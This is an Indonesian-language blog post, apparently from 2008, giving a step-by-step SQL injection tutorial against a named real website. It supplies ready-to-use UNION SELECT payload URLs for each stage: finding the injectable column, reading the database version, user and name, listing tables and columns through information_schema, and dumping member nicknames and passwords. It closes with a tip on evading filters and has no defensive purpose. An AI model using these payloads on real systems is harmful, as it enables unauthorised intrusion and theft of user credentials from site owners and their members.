Sabtu, 07 Juni 2008

SQL Injection di PHP Code



Yang harus lo siapin satu bungkus roko, cemilan dan alat pijit untuk tangan lo, kalo2 keseleo, kalo udah semua kita mulai.

http://www.theshiznit.co.uk/review.php?id=242 <<– ini target kita

Sekilas kalo dilihat tidak terjadi apa2 sekarang kita tambahkan tanda - sebelum 242

http://www.theshiznit.co.uk/review.php?id=-242

Maka pada area SCREESHOT dan artikelnya hilang, kemungkinan besar bisa di inject, tapi ingat g semuanya bisa.

Kita mulai injectnya dengan menggunakan UNION SELECT

http://www.theshiznit.co.uk/review.php?id=-242+UNION+SELECT+1/*

Kita harus memunculkan angka ajaib, jika belum muncul kita teruskan nomor setelah SELECT

http://www.theshiznit.co.uk/review.php?id=-242+UNION+SELECT+1,2/*

Ternyata di angka ke-2 belum juga muncul, lanjut lagi ampe tangan lo cantengan

http://www.theshiznit.co.uk/review.php?id=-242+UNION+SELECT+1,2,3,4,5/*

Akhirnya muncul angka ajaibnya adalah 5

Sedikit kurang beruntung karena kita hanya mendapatkan satu angka, tapi gpp, itu lah asiknya

Setelah kita dapat angkanya kita cari vers, user, dan nama databasenya dengan memasukan perintah di bawah ini kedalam nomor yang muncul

* version() : current mysql version
* database() : current database where user is connected
* user() : connected to the database
* system_user() : obvious
* session_user()
* current_user()
* last_insert_id()
* connection_id()

http://www.theshiznit.co.uk/review.php?id=-242+UNION+SELECT+1,2,3,4,version()/*

Ternyata versi 5, ok kita beruntung jika versi 4 kurang beruntung, kita lihat user dan databasenya

http://www.theshiznit.co.uk/review.php?id=-242+UNION+SELECT+1,2,3,4,user()/* <<— sr0291893@81.31.99.13 nama usernya

http://www.theshiznit.co.uk/review.php?id=-242+UNION+SELECT+1,2,3,4,database()/* <<— sr0291893 nama databasenya

Itu kalo kita hanya dapet satu nomor saja, jika mendapatkan 2 atau lebih nomor yg muncul kita bisa memasukan perntah kedalam nomor2 tersebut. Tapi g usah kuatir, ada trik tersendiri untuk memunculkan kesemuanya hanya dengan satu nomor, yaitu dengan perintah concat(), ok kita coba dengan perintah concat(version(),0×2D,database(),0×2D,user())

http://www.theshiznit.co.uk/review.php?id=-242+UNION+SELECT+1,2,3,4,concat(version(),0×2D,database(),0×2D,user())/*

Ternyata bisa memuncul kan semua perintahnya 5.0.45-log-sr0291893-sr0291893@81.31.99.13

0×2D = - <<– ini hanya tanda untuk memisahkan saja

Sekarang kita cari tabelnya, ini bagian yg gue sukain, tp bikin pegel kalo tabelnya segambreng. Kita gunakan perintah table_name from information_schema.tables where table_schema=database() limit 0,1/*

Masukan table_name di nomor yang keluar, lalu masukan perintah from information_schema.tables where table_schema=database() limit 0,1/* setelah nomor terakhir

http://www.theshiznit.co.uk/review.php?id=-242+UNION+SELECT+1,2,3,4,table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1/*

Ternyata keluar tablenya dengan nama shiznit_comments

Untuk melihat tabel selanjutnya kita rubah limit+0,1 menjadi limit+1,1 trus limit+2,1 sampai tidak muncul table selanjutnya lagi. Di limit+7,1 kitamendapatkan table user dengan nama shiznit_users

http://www.theshiznit.co.uk/review.php?id=-242+UNION+SELECT+1,2,3,4,table_name+from+information_schema.tables+where+table_schema=database()+limit+7,1/*

Sekarang kita cari columnnya dengan perintah column_name from information_schema.columns where table_name=’table_name’ limit 0,1/*

Cara pemasukannya sama dengan mencari table, dan untuk mencari column selanjutnya sama juga, dengan merubah limit 0,1 dengan limit 1,1 dst.

http://www.theshiznit.co.uk/review.php?id=-242+UNION+SELECT+1,2,3,4,column_name+from+information_schema.columns+where+table_name=’shiznit_users’+limit+0,1/*

Ternyata muncul column id, kita cari lagi maka akan muncul md5id, created_on, email, password, nickname, first_name, last_name, location dan how_found. Wuih ada 10 column.

Sekarang kita keluarkan datanya, kita g perlu melihat semuanya, cukup intinya aja password dan nickname atau terserah lo, kalo mau lihat data yg lain. Karena kita hanya mendapatkan satu nomor ajaibnya, kita gunakan concat() saja, berlebih gampang, atau lo bisa memasukannya satu2 di nomor yg keluar atau nomor 5.

http://www.theshiznit.co.uk/review.php?id=-242+UNION+SELECT+1,2,3,4,concat(nickname,0×3a,password)+from+shiznit_users/*

Apakah yg muncul….ternyata muncul data nickname dan password member disana :D

Note:

tanda + hanya sebagai pemisah, lo juga bisa make spasi atau /**/

+ = spasi atau %20 = /**/

Terserah lo mau gaya apa, gaya kodok juga boleh :D

0 Komentar:

Posting Komentar

Berlangganan Posting Komentar [Atom]

<< Beranda